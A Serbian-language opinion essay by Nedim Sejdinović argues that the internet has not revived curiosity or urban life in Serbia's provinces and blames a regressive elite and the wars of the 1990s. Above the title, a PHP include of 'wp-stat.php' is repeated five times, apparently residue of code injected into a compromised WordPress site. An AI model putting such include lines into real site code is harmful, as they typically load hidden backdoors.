@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); RAZBIJENO DRUŠTVO: Ostrvca urbanosti – Nedim Sejdinović

RAZBIJENO DRUŠTVO: Ostrvca urbanosti

Nova tehnološka dostignuća trebalo bi da budu virus koji nužno nagriza autistične sisteme. Dostupnost informacija, brza i svestrana komunikacija, relativiziranje prostornih ograničenja – sve to deluje kao ostvareni san slobodarskog uma i humanističkog duha, o svetu koji savladava vlastite okove. Bezbroj sadržaja, motiva, tema i oblasti prava su riznica za radoznali duh: za one koji ih mogu prepoznati i kretati se u njima, mogućnosti su odista ogromne. Svet je postao globalno selo – u pojedinim razgovorima podjednako moćno i dobro učestvuju ljudi bukvalno iz svih delova sveta. Sa druge strane, i pojedina mesta, gradovi, ali i sela, postaju moderan sistem – sajtovi pojedinih mesta ne otkrivaju samo suvoparne turističko-istorijske informacije, već dubinski, interaktivno, odslikavaju vlastitu stvarnost u kojoj uživate kao da čitate dobar roman… Mogućnosti su odista ogromne, primeri su tu, ali da li uvek ima ko da ih iskoristi?

U beskrajnim mogućnostima da iskaže sebe, čovek je većinom iskazao vlastitu prazninu. Internet je u ogromnoj meri ipak skladište nultih informacija, koje posećuju ljudi sa nultom radoznalošću. Pronalazak partnera, isprazni čampras-divani – stvoren je jezik koji jeste nov, ali koji veoma malo i veoma retko nešto novo saopštava. Internet je kao i život – pruža šansu, ali to retko koga interesuje!

Uz pomoć nove tehnologije, ljudi lakše i brže razbijaju okove provincije, ali to opet i samo važi za one koji bi te okove razbili i u drugačijim okolnostima, uz malo više truda i vremena. A takvih je veoma malo, pogotovo na ovim našim prostorima. Nedostatak radoznalosti nije svakako naš specijalitet, ali savremena društva, za razliku od našeg staromodnog, uspevaju da usmere svoje stanovništvo, osobito mlađe ljude, na šarolika interesovanja, institucionalizujući ih. Da ne govorimo o tome da neka, čak i “granična” interesovanja posle izvesnog vremena mogu da donesu i materijalni dobitak i profesionalizaciju. I nije to samo vezano za finansijske mogućnosti, već pre svega za sistem vrednosti i društvenu viziju.

Postoje siromašna društva koja odgajaju progresivnu elitu, koja ide ukorak sa svetom, ali retko gde, kao u Srbiji, postoji elita koja je regresivnija od svog stanovništva i koja tako uporno i snažno vuče unatrag, poništavajući sve što je u prošlosti učinjeno na planu održavanja veze sa savremenim svetom.

U nedostatku vizije, naše društvo agresivno insistira na istosti i u izvrnutom sistemu vrednosti stavlja je na prvo mesto. Oni koji su drugačiji skrivaju se od njega, stvarajući izolovane grupe, koje se uz pomoć novih tehnologija dodatno samoizoluju, a kontakt sa inostranstvom često im je samo predigra za fizički odlazak. Ljudi koji imaju drugačija interesovanja van morbidnog i dosadnog ovdašnjeg mejnstrima, kao rasprslo su ogledalo koje je nemoguće ponovo sastaviti, a koje je jedino u kojem bi se ova zemlja mogla ogledati. Njega svakodnevno iznova gaze i razbijaju, valjda se upravo plašeći onoga što bi u njemu mogli ugledati.

A te su grupe ljudi različitih interesovanja zapravo – enklave, jedina preostala ostrvca urbanosti posle dugodišnjeg pustošenja. Da bi opstali, njima je potreban beskrajni entuzijazam. Ako se i desi da je moguće dobiti materijalnu podršku za to što rade, tu su uvek drugi, spremni da odglume šta je već potrebno.

Neko je rekao da se u radoznalosti krije osnovna životna pokretačka energija; radoznalost je vezana sa urbanošću – grad bi po definiciji trebalo neprestano da “golica” ljudski um.

Koliko puta ste čuli od ljudi koji dolaze iz manjih mesta kako se žale kako je i onaj mali zametak urbanog života u tzv. provinciji, iz nekih recimo osamdesetih – nestao? Sa njim su mahom sa ulica nestali i ljudi neobičnog izgleda, sa čudnim frizurama, koji su hteli i fizički da ukažu na svoju različitost. Ili su još uvek tu, propali i ismejani, “grebu se za pivo”. Propale su i nestale – gradske legende, nema ni onih koji su čitali knjige i u čudu otkrivali novi svet, deleći svoja saznanja sa drugima, uz šta je uvek išla i doza simpatičnog foliranja. U većim gradovima je preostao privid urbanosti, ali samo privid.

Ratovi vođeni u bivšoj Jugoslaviji bili su urbicidni, i u tom smislu – veoma uspešni. Ona ostrvca stvorena sedamdesetih i osamdesetih koji su, izgleda, kanila napraviti nekakav arhipelag, ili su opustela ili su se beskrajno udaljila jedna od drugih, postavši ostrvca u beskrajnom moru dosade i ljudske gluposti.

Ma kakva tehnologija, nikakva nam tu tehnologija neće pomoći, makar svaka baba visila na internetu!

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.